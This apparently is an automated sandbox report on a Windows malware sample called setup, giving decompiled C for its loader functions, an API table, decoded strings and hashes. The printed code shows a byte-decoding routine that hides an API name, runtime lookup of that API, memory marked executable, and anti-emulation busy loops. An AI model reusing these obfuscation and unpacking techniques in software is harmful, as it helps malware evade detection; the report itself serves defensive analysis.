				_v26 = 0xe4;
				_v25 = 0x1f;
				_v24 = 0xfb;
				_v120 = 0;
				while(_v120 < 0xd) {
					_v121 =  *((intOrPtr*)(_t746 + _v120 - 0x20));
					_v121 = (_v121 & 0x000000ff) - _v120;
					_v121 = (_v121 & 0x000000ff) >> 0x00000006 | (_v121 & 0x000000ff) << 0x00000002;
					_v121 = (_v121 & 0x000000ff) + 0xee;
					_v121 =  ~(_v121 & 0x000000ff);
					_v121 = _v121 & 0x000000ff ^ _v120;
					_v121 =  ~(_v121 & 0x000000ff);
					_v121 = (_v121 & 0x000000ff) >> 0x00000002 | (_v121 & 0x000000ff) << 0x00000006;
					_v121 =  !(_v121 & 0x000000ff);
					_v121 = (_v121 & 0x000000ff) + 0x45;
					_v121 = _v121 & 0x000000ff ^ _v120;
					_v121 = (_v121 & 0x000000ff) - _v120;
					_v121 = _v121 & 0x000000ff ^ _v120;
					_v121 = (_v121 & 0x000000ff) + 0x15;
					_v121 = (_v121 & 0x000000ff) >> 0x00000002 | (_v121 & 0x000000ff) << 0x00000006;
					_v121 = (_v121 & 0x000000ff) + 0x89;
					 *((char*)(_t746 + _v120 - 0x20)) = _v121;
					_v120 = _v120 + 1;
				}
				_v72 = GetModuleHandleA( &_v36);
				_v40 = 0;
				 *0x436b80 = GetProcAddress(_v72,  &_v68);
				VirtualProtect(_a4, _a8, 0x40,  &_v40); // executed
				return 0;
			}

0x004018a0
0x004018ac
0x004018b5
0x004018be
0x004018c4
0x004018ca
0x004018cf
0x004018d7
0x004018e0
0x004018e0
0x004018e9
0x004018ef
0x004018f5
0x004018fa
0x00401902
0x0040190b
0x0040190b
0x00401914
0x0040191a
0x00401920
0x00401925
0x0040192d
0x00401936
0x00401936
0x0040193f
0x00401945
0x0040194b
0x00401950
0x00401958
0x00401961
0x00401961
0x0040196a
0x00401970
0x00401976
0x0040197b
0x00401983
0x0040198c
0x0040198c
0x00401995
0x0040199e
0x004019a7
0x004019ad
0x004019b3
0x004019b8
0x004019c0
0x004019c9
0x004019c9
0x004019d2
0x004019d8
0x004019de
0x004019e3
0x004019eb
0x004019f4
0x004019f4
0x004019fd
0x00401a03
0x00401a09
0x00401a0e
0x00401a16
0x00401a1f
0x00401a1f
0x00401a28
0x00401a2e
0x00401a34
0x00401a39
0x00401a41
0x00401a4a
0x00401a4a
0x00401a53
0x00401a59
0x00401a5f
0x00401a64
0x00401a6c
0x00401a75
0x00401a75
0x00401a7e
0x00401a87
0x00401a90
0x00401a96
0x00401a9c
0x00401aa1
0x00401aa9
0x00401ab2
0x00401ab2
0x00401abb
0x00401ac1
0x00401ac7
0x00401acc
0x00401ad4
0x00401add
0x00401add
0x00401ae6
0x00401aec
0x00401af2
0x00401af7
0x00401aff
0x00401b08
0x00401b08
0x00401b11
0x00401b17
0x00401b1d
0x00401b22
0x00401b2a
0x00401b33
0x00401b33
0x00401b3c
0x00401b42
0x00401b48
0x00401b4d
0x00401b55
0x00401b5e
0x00401b5e
0x00401b67
0x00401b70
0x00401b79
0x00401b7f
0x00401b85
0x00401b8a
0x00401b92
0x00401b9b
0x00401b9b
0x00401ba4
0x00401baa
0x00401bb0
0x00401bb5
0x00401bbd
0x00401bc6
0x00401bc6
0x00401bcf
0x00401bd5
0x00401bdb
0x00401be0
0x00401be8
0x00401bf1
0x00401bf1
0x00401bfa
0x00401c00
0x00401c06
0x00401c0b
0x00401c13
0x00401c1c
0x00401c1c
0x00401c25
0x00401c2b
0x00401c31
0x00401c36
0x00401c3e
0x00401c47
0x00401c47
0x00401c50
0x00401c59
0x00401c62
0x00401c68
0x00401c6e
0x00401c73
0x00401c7b
0x00401c84
0x00401c84
0x00401c8d
0x00401c93
0x00401c99
0x00401c9e
0x00401ca6
0x00401caf
0x00401caf
0x00401cb8
0x00401cbe
0x00401cc4
0x00401cc9
0x00401cd1
0x00401cda
0x00401cda
0x00401ce3
0x00401ce9
0x00401cef
0x00401cf4
0x00401cfc
0x00401d05
0x00401d05
0x00401d0e
0x00401d14
0x00401d1a
0x00401d1f
0x00401d27
0x00401d30
0x00401d30
0x00401d39
0x00401d42
0x00401d4b
0x00401d51
0x00401d57
0x00401d5c
0x00401d64
0x00401d6d
0x00401d6d
0x00401d76
0x00401d7c
0x00401d82
0x00401d87
0x00401d8f
0x00401d98
0x00401d98
0x00401da1
0x00401da7
0x00401dad
0x00401db2
0x00401dba
0x00401dc3
0x00401dc3
0x00401dcc
0x00401dd2
0x00401dd8
0x00401ddd
0x00401de5
0x00401dee
0x00401dee
0x00401df7
0x00401dfd
0x00401e03
0x00401e08
0x00401e10
0x00401e19
0x00401e19
0x00401e22
0x00401e2b
0x00401e34
0x00401e3a
0x00401e40
0x00401e45
0x00401e4d
0x00401e56
0x00401e56
0x00401e5f
0x00401e65
0x00401e6b
0x00401e70
0x00401e78
0x00401e81
0x00401e81
0x00401e8a
0x00401e90
0x00401e96
0x00401e9b
0x00401ea3
0x00401eac
0x00401eac
0x00401eb5
0x00401ebb
0x00401ec1
0x00401ec6
0x00401ece
0x00401ed7
0x00401ed7
0x00401ee0
0x00401ee6
0x00401eec
0x00401ef1
0x00401ef9
0x00401f02
0x00401f02
0x00401f0b
0x00401f14
0x00401f1d
0x00401f23
0x00401f29
0x00401f2e
0x00401f36
0x00401f3f
0x00401f3f
0x00401f48
0x00401f4e
0x00401f54
0x00401f59
0x00401f61
0x00401f6a
0x00401f6a
0x00401f73
0x00401f79
0x00401f7f
0x00401f84
0x00401f8c
0x00401f95
0x00401f95
0x00401f9e
0x00401fa4
0x00401faa
0x00401faf
0x00401fb7
0x00401fc0
0x00401fc0
0x00401fc9
0x00401fcf
0x00401fd5
0x00401fda
0x00401fe2
0x00401feb
0x00401feb
0x00401fee
0x00401ff2
0x00401ff6
0x00401ffa
0x00401ffe
0x00402002
0x00402006
0x0040200a
0x0040200e
0x00402012
0x00402016
0x0040201a
0x0040201e
0x00402022
0x00402026
0x0040202a
0x0040203c
0x0040204d
0x00402060
0x0040206a
0x00402073
0x0040207d
0x00402086
0x00402092
0x0040209c
0x004020a6
0x004020af
0x004020b9
0x004020c6
0x004020cf
0x004020dc
0x004020ee
0x004020f8
0x00402101
0x00402036
0x00402039
0x00402039
0x00402110
0x00402119
0x00402122
0x00402128
0x0040212e
0x00402133
0x0040213b
0x00402144
0x00402144
0x0040214d
0x00402153
0x00402159
0x0040215e
0x00402166
0x0040216f
0x0040216f
0x00402178
0x0040217e
0x00402184
0x00402189
0x00402191
0x0040219a
0x0040219a
0x004021a3
0x004021a9
0x004021af
0x004021b4
0x004021bc
0x004021c5
0x004021c5
0x004021ce
0x004021d4
0x004021da
0x004021df
0x004021e7
0x004021f0
0x004021f0
0x004021f9
0x00402202
0x0040220b
0x00402211
0x00402217
0x0040221c
0x00402224
0x0040222d
0x0040222d
0x00402236
0x0040223c
0x00402242
0x00402247
0x0040224f
0x00402258
0x00402258
0x00402261
0x00402267
0x0040226d
0x00402272
0x0040227a
0x00402283
0x00402283
0x0040228c
0x00402292
0x00402298
0x0040229d
0x004022a5
0x004022ae
0x004022ae
0x004022b7
0x004022bd
0x004022c3
0x004022c8
0x004022d0
0x004022d9
0x004022d9
0x004022e2
0x004022eb
0x004022f4
0x004022fa
0x00402300
0x00402305
0x0040230d
0x00402316
0x00402316
0x0040231f
0x00402325
0x0040232b
0x00402330
0x00402338
0x00402341
0x00402341
0x0040234a
0x00402350
0x00402356
0x0040235b
0x00402363
0x0040236c
0x0040236c
0x00402375
0x0040237b
0x00402381
0x00402386
0x0040238e
0x00402397
0x00402397
0x004023a0
0x004023a6
0x004023ac
0x004023b1
0x004023b9
0x004023c2
0x004023c2
0x004023cb
0x004023d4
0x004023dd
0x004023e3
0x004023e9
0x004023ee
0x004023f6
0x004023ff
0x004023ff
0x00402408
0x0040240e
0x00402414
0x00402419
0x00402421
0x0040242a
0x0040242a
0x00402433
0x00402439
0x0040243f
0x00402444
0x0040244c
0x00402455
0x00402455
0x0040245e
0x00402464
0x0040246a
0x0040246f
0x00402477
0x00402480
0x00402480
0x00402489
0x0040248f
0x00402495
0x0040249a
0x004024a2
0x004024ab
0x004024ab
0x004024b4
0x004024bd
0x004024c6
0x004024cc
0x004024d2
0x004024d7
0x004024df
0x004024e8
0x004024e8
0x004024f1
0x004024f7
0x004024fd
0x00402502
0x0040250a
0x00402513
0x00402513
0x0040251c
0x00402522
0x00402528
0x0040252d
0x00402535
0x0040253e
0x0040253e
0x00402547
0x0040254d
0x00402553
0x00402558
0x00402560
0x00402569
0x00402569
0x00402572
0x00402578
0x0040257e
0x00402583
0x0040258b
0x00402594
0x00402594
0x0040259d
0x004025a6
0x004025af
0x004025b5
0x004025bb
0x004025c0
0x004025c8
0x004025d1
0x004025d1
0x004025da
0x004025e0
0x004025e6
0x004025eb
0x004025f3
0x004025fc
0x004025fc
0x00402605
0x0040260b
0x00402611
0x00402616
0x0040261e
0x00402627
0x00402627
0x00402630
0x00402636
0x0040263c
0x00402641
0x00402649
0x00402652
0x00402652
0x0040265b
0x00402661
0x00402667
0x0040266c
0x00402674
0x0040267d
0x0040267d
0x00402686
0x0040268f
0x00402698
0x0040269e
0x004026a4
0x004026a9
0x004026b1
0x004026ba
0x004026ba
0x004026c3
0x004026c9
0x004026cf
0x004026d4
0x004026dc
0x004026e5
0x004026e5
0x004026ee
0x004026f4
0x004026fa
0x004026ff
0x00402707
0x00402710
0x00402710
0x00402719
0x0040271f
0x00402725
0x0040272a
0x00402732
0x0040273b
0x0040273b
0x00402744
0x0040274a
0x00402750
0x00402755
0x0040275d
0x00402766
0x00402766
0x0040276f
0x00402778
0x00402781
0x00402787
0x0040278d
0x00402792
0x0040279a
0x004027a3
0x004027a3
0x004027ac
0x004027b2
0x004027b8
0x004027bd
0x004027c5
0x004027ce
0x004027ce
0x004027d7
0x004027dd
0x004027e3
0x004027e8
0x004027f0
0x004027f9
0x004027f9
0x00402802
0x00402808
0x0040280e
0x00402813
0x0040281b
0x00402824
0x00402824
0x0040282d
0x00402833
0x00402839
0x0040283e
0x00402846
0x0040284f
0x0040284f
0x00402852
0x00402856
0x0040285a
0x0040285e
0x00402862
0x00402866
0x0040286a
0x0040286e
0x00402872
0x00402876
0x0040287a
0x0040287e
0x00402882
0x00402886
0x00402898
0x004028a9
0x004028b3
0x004028c6
0x004028d3
0x004028dc
0x004028e6
0x004028ef
0x00402902
0x0040290b
0x00402915
0x0040291f
0x00402929
0x00402933
0x0040293d
0x00402950
0x0040295c
0x00402965
0x00402895
0x00402895
0x00402978
0x0040297b
0x00402990
0x004029a3
0x004029b0

APIs

GetModuleHandleA.KERNEL32(00000053), ref: 00402972
GetProcAddress.KERNEL32(?,00000004), ref: 0040298A
VirtualProtect.KERNELBASE(?,?,00000040,00000000), ref: 004029A3

Strings

1, xrefs: 00402012
c, xrefs: 0040201A
S, xrefs: 00402852
NhvIhvPdhv, xrefs: 0040298A
n, xrefs: 00402022
t, xrefs: 00402862
C, xrefs: 0040201E
O, xrefs: 00402016
/, xrefs: 00402002
w, xrefs: 0040286E
6, xrefs: 00402872
E, xrefs: 0040285E
,, xrefs: 00401FFA
`ghv, xrefs: 00402990, 004029A3

Memory Dump Source

Source File: 00000000.00000002.295903865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.295896255.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295929317.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295940545.0000000000413000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295974446.0000000000414000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.295999059.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_setup.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: ,$/$1$6$C$E$O$S$`ghv$c$n$t$w$NhvIhvPdhv
API String ID: 2099061454-1301821488
Opcode ID: 1608d35565b478e9c5d1d8e72232d7888c2da4798a4d064717c7b15ec6c45a34
Instruction ID: eadd4b7818d2dcf325c3263f5e7aef23c5546c39ec96fc9dbc89735be274b048
Opcode Fuzzy Hash: 1608d35565b478e9c5d1d8e72232d7888c2da4798a4d064717c7b15ec6c45a34
Instruction Fuzzy Hash: 23B25B70A15159DBDB208B95EB9C2ADBF70FB95340F9281B5C9D4368AAC334017ACF1E

Uniqueness

Uniqueness Score: -1.00%

Function 00403180 Relevance: 9.8, APIs: 2, Strings: 3, Instructions: 1004
sleepCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00403180(intOrPtr __edx) {
				intOrPtr _v12;
				intOrPtr _v16;
				signed char _v20;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v56;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				long _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v96;
				long _v100;
				intOrPtr _v104;
				long _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				long _v136;
				intOrPtr _v144;
				intOrPtr _v148;
				signed char _t531;
				intOrPtr _t532;
				void* _t536;
				void* _t537;
				intOrPtr _t541;

				_t541 = __edx;
				_t531 = FreeConsole(); // executed
				_v44 =  *0x40ff38;
				_v44 =  *0x40ff34;
				_v44 =  *0x40ff30;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v44 =  *0x40ff2c;
					_v44 =  *0x40ff28;
				}
				_v44 =  *0x40ff24;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v44 =  *0x40ff20;
					_v44 =  *0x40ff1c;
				}
				_v44 =  *0x40ff18;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v44 =  *0x40ff14;
					_v44 =  *0x40ff10;
				}
				_v44 =  *0x40ff0c;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v44 =  *0x40ff08;
					_v44 =  *0x40ff04;
				}
				_v44 =  *0x40ff00;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v44 =  *0x40fefc;
					_v44 =  *0x40fef8;
				}
				_v36 =  *0x40fef4;
				_v36 =  *0x40fef0;
				_v36 =  *0x40feec;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v36 =  *0x40fee8;
					_v36 =  *0x40fee4;
				}
				_v36 =  *0x40fee0;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v36 =  *0x40fedc;
					_v36 =  *0x40fed8;
				}
				_v36 =  *0x40fed4;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v36 =  *0x40fed0;
					_v36 =  *0x40fecc;
				}
				_v36 =  *0x40fec8;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v36 =  *0x40fec4;
					_v36 =  *0x40fec0;
				}
				_v36 =  *0x40febc;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v36 =  *0x40feb8;
					_v36 =  *0x40feb4;
				}
				_v68 =  *0x40feb0;
				_v68 =  *0x40feac;
				_v68 =  *0x40fea8;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v68 =  *0x40fea4;
					_v68 =  *0x40fea0;
				}
				_v68 =  *0x40fe9c;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v68 =  *0x40fe98;
					_v68 =  *0x40fe94;
				}
				_v68 =  *0x40fe90;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v68 =  *0x40fe8c;
					_v68 =  *0x40fe88;
				}
				_v68 =  *0x40fe84;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v68 =  *0x40fe80;
					_v68 =  *0x40fe7c;
				}
				_v68 =  *0x40fe78;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v68 =  *0x40fe74;
					_v68 =  *0x40fe70;
				}
				_v64 =  *0x40fe6c;
				_v64 =  *0x40fe68;
				_v64 =  *0x40fe64;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v64 =  *0x40fe60;
					_v64 =  *0x40fe5c;
				}
				_v64 =  *0x40fe58;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v64 =  *0x40fe54;
					_v64 =  *0x40fe50;
				}
				_v64 =  *0x40fe4c;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v64 =  *0x40fe48;
					_v64 =  *0x40fe44;
				}
				_v64 =  *0x40fe40;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v64 =  *0x40fe3c;
					_v64 =  *0x40fe38;
				}
				_v64 =  *0x40fe34;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v64 =  *0x40fe30;
					_v64 =  *0x40fe2c;
				}
				_v56 =  *0x40fe28;
				_v56 =  *0x40fe24;
				_v56 =  *0x40fe20;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v56 =  *0x40fe1c;
					_v56 =  *0x40fe18;
				}
				_v56 =  *0x40fe14;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v56 =  *0x40fe10;
					_v56 =  *0x40fe0c;
				}
				_v56 =  *0x40fe08;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v56 =  *0x40fe04;
					_v56 =  *0x40fe00;
				}
				_v56 =  *0x40fdfc;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v56 =  *0x40fdf8;
					_v56 =  *0x40fdf4;
				}
				_v56 =  *0x40fdf0;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v56 =  *0x40fdec;
					_v56 =  *0x40fde8;
				}
				_v12 =  *0x40fde4;
				_v12 =  *0x40fde0;
				_v12 =  *0x40fddc;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v12 =  *0x40fdd8;
					_v12 =  *0x40fdd4;
				}
				_v12 =  *0x40fdd0;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v12 =  *0x40fdcc;
					_v12 =  *0x40fdc8;
				}
				_v12 =  *0x40fdc4;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v12 =  *0x40fdc0;
					_v12 =  *0x40fdbc;
				}
				_v12 =  *0x40fdb8;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v12 =  *0x40fdb4;
					_v12 =  *0x40fdb0;
				}
				_v12 =  *0x40fdac;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v12 =  *0x40fda8;
					_v12 =  *0x40fda4;
				}
				_v72 =  *0x40fda0;
				_v72 =  *0x40fd9c;
				_v72 =  *0x40fd98;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v72 =  *0x40fd94;
					_v72 =  *0x40fd90;
				}
				_v72 =  *0x40fd8c;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v72 =  *0x40fd88;
					_v72 =  *0x40fd84;
				}
				_v72 =  *0x40fd80;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v72 =  *0x40fd7c;
					_v72 =  *0x40fd78;
				}
				_v72 =  *0x40fd74;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v72 =  *0x40fd70;
					_v72 =  *0x40fd6c;
				}
				_v72 =  *0x40fd68;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v72 =  *0x40fd64;
					_v72 =  *0x40fd60;
				}
				_v16 =  *0x40fd5c;
				_v16 =  *0x40fd58;
				_v16 =  *0x40fd54;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v16 =  *0x40fd50;
					_v16 =  *0x40fd4c;
				}
				_v16 =  *0x40fd48;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v16 =  *0x40fd44;
					_v16 =  *0x40fd40;
				}
				_v16 =  *0x40fd3c;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v16 =  *0x40fd38;
					_v16 =  *0x40fd34;
				}
				_v16 =  *0x40fd30;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v16 =  *0x40fd2c;
					_v16 =  *0x40fd28;
				}
				_v16 =  *0x40fd24;
				asm("fcomp qword [0x40f480]");
				asm("fnstsw ax");
				if((_t531 & 0x00000044) == 0) {
					_v16 =  *0x40fd20;
					_v16 =  *0x40fd1c;
				}
				Sleep(0); // executed
				_v76 = 0;
				_v20 = 0;
				_v20 = 0;
				while(_v20 < 0x1927d) {
					_v76 = _v76 + 1;
					_t531 = _v20 + 1;
					_v20 = _t531;
				}
				if(_v76 == 0x1927d) {
					_v136 = 0;
					_v100 = 0;
					_v96 = 0x590813;
					_v112 =  *0x40fd18;
					_v108 = 0;
					_v80 =  *0x40fd14;
					_v80 =  *0x40fd10;
					_v80 =  *0x40fd0c;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v80 =  *0x40fd08;
						_v80 =  *0x40fd04;
					}
					_v80 =  *0x40fd00;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v80 =  *0x40fcfc;
						_v80 =  *0x40fcf8;
					}
					_v80 =  *0x40fcf4;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v80 =  *0x40fcf0;
						_v80 =  *0x40fcec;
					}
					_v80 =  *0x40fce8;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v80 =  *0x40fce4;
						_v80 =  *0x40fce0;
					}
					_v80 =  *0x40fcdc;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v80 =  *0x40fcd8;
						_v80 =  *0x40fcd4;
					}
					_v88 =  *0x40fcd0;
					_v88 =  *0x40fccc;
					_v88 =  *0x40fcc8;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v88 =  *0x40fcc4;
						_v88 =  *0x40fcc0;
					}
					_v88 =  *0x40fcbc;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v88 =  *0x40fcb8;
						_v88 =  *0x40fcb4;
					}
					_v88 =  *0x40fcb0;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v88 =  *0x40fcac;
						_v88 =  *0x40fca8;
					}
					_v88 =  *0x40fca4;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v88 =  *0x40fca0;
						_v88 =  *0x40fc9c;
					}
					_v88 =  *0x40fc98;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v88 =  *0x40fc94;
						_v88 =  *0x40fc90;
					}
					_v124 =  *0x40fc8c;
					_v124 =  *0x40fc88;
					_v124 =  *0x40fc84;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v124 =  *0x40fc80;
						_v124 =  *0x40fc7c;
					}
					_v124 =  *0x40fc78;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v124 =  *0x40fc74;
						_v124 =  *0x40fc70;
					}
					_v124 =  *0x40fc6c;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v124 =  *0x40fc68;
						_v124 =  *0x40fc64;
					}
					_v124 =  *0x40fc60;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v124 =  *0x40fc5c;
						_v124 =  *0x40fc58;
					}
					_v124 =  *0x40fc54;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v124 =  *0x40fc50;
						_v124 =  *0x40fc4c;
					}
					_v84 =  *0x40fc48;
					_v84 =  *0x40fc44;
					_v84 =  *0x40fc40;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v84 =  *0x40fc3c;
						_v84 =  *0x40fc38;
					}
					_v84 =  *0x40fc34;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v84 =  *0x40fc30;
						_v84 =  *0x40fc2c;
					}
					_v84 =  *0x40fc28;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v84 =  *0x40fc24;
						_v84 =  *0x40fc20;
					}
					_v84 =  *0x40fc1c;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v84 =  *0x40fc18;
						_v84 =  *0x40fc14;
					}
					_v84 =  *0x40fc10;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v84 =  *0x40fc0c;
						_v84 =  *0x40fc08;
					}
					_v104 =  *0x40fc04;
					_v104 =  *0x40fc00;
					_v104 =  *0x40fbfc;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v104 =  *0x40fbf8;
						_v104 =  *0x40fbf4;
					}
					_v104 =  *0x40fbf0;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v104 =  *0x40fbec;
						_v104 =  *0x40fbe8;
					}
					_v104 =  *0x40fbe4;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v104 =  *0x40fbe0;
						_v104 =  *0x40fbdc;
					}
					_v104 =  *0x40fbd8;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v104 =  *0x40fbd4;
						_v104 =  *0x40fbd0;
					}
					_v104 =  *0x40fbcc;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v104 =  *0x40fbc8;
						_v104 =  *0x40fbc4;
					}
					_v120 =  *0x40fbc0;
					_v120 =  *0x40fbbc;
					_v120 =  *0x40fbb8;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v120 =  *0x40fbb4;
						_v120 =  *0x40fbb0;
					}
					_v120 =  *0x40fbac;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v120 =  *0x40fba8;
						_v120 =  *0x40fba4;
					}
					_v120 =  *0x40fba0;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v120 =  *0x40fb9c;
						_v120 =  *0x40fb98;
					}
					_v120 =  *0x40fb94;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v120 =  *0x40fb90;
						_v120 =  *0x40fb8c;
					}
					_v120 =  *0x40fb88;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v120 =  *0x40fb84;
						_v120 =  *0x40fb80;
					}
					_v132 =  *0x40fb7c;
					_v132 =  *0x40fb78;
					_v132 =  *0x40fb74;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
						_v132 =  *0x40fb70;
						_v132 =  *0x40fb6c;
					}
					_v132 =  *0x40fb68;
					asm("fcomp qword [0x40f480]");
					asm("fnstsw ax");
					if((_t531 & 0x00000044) == 0) {
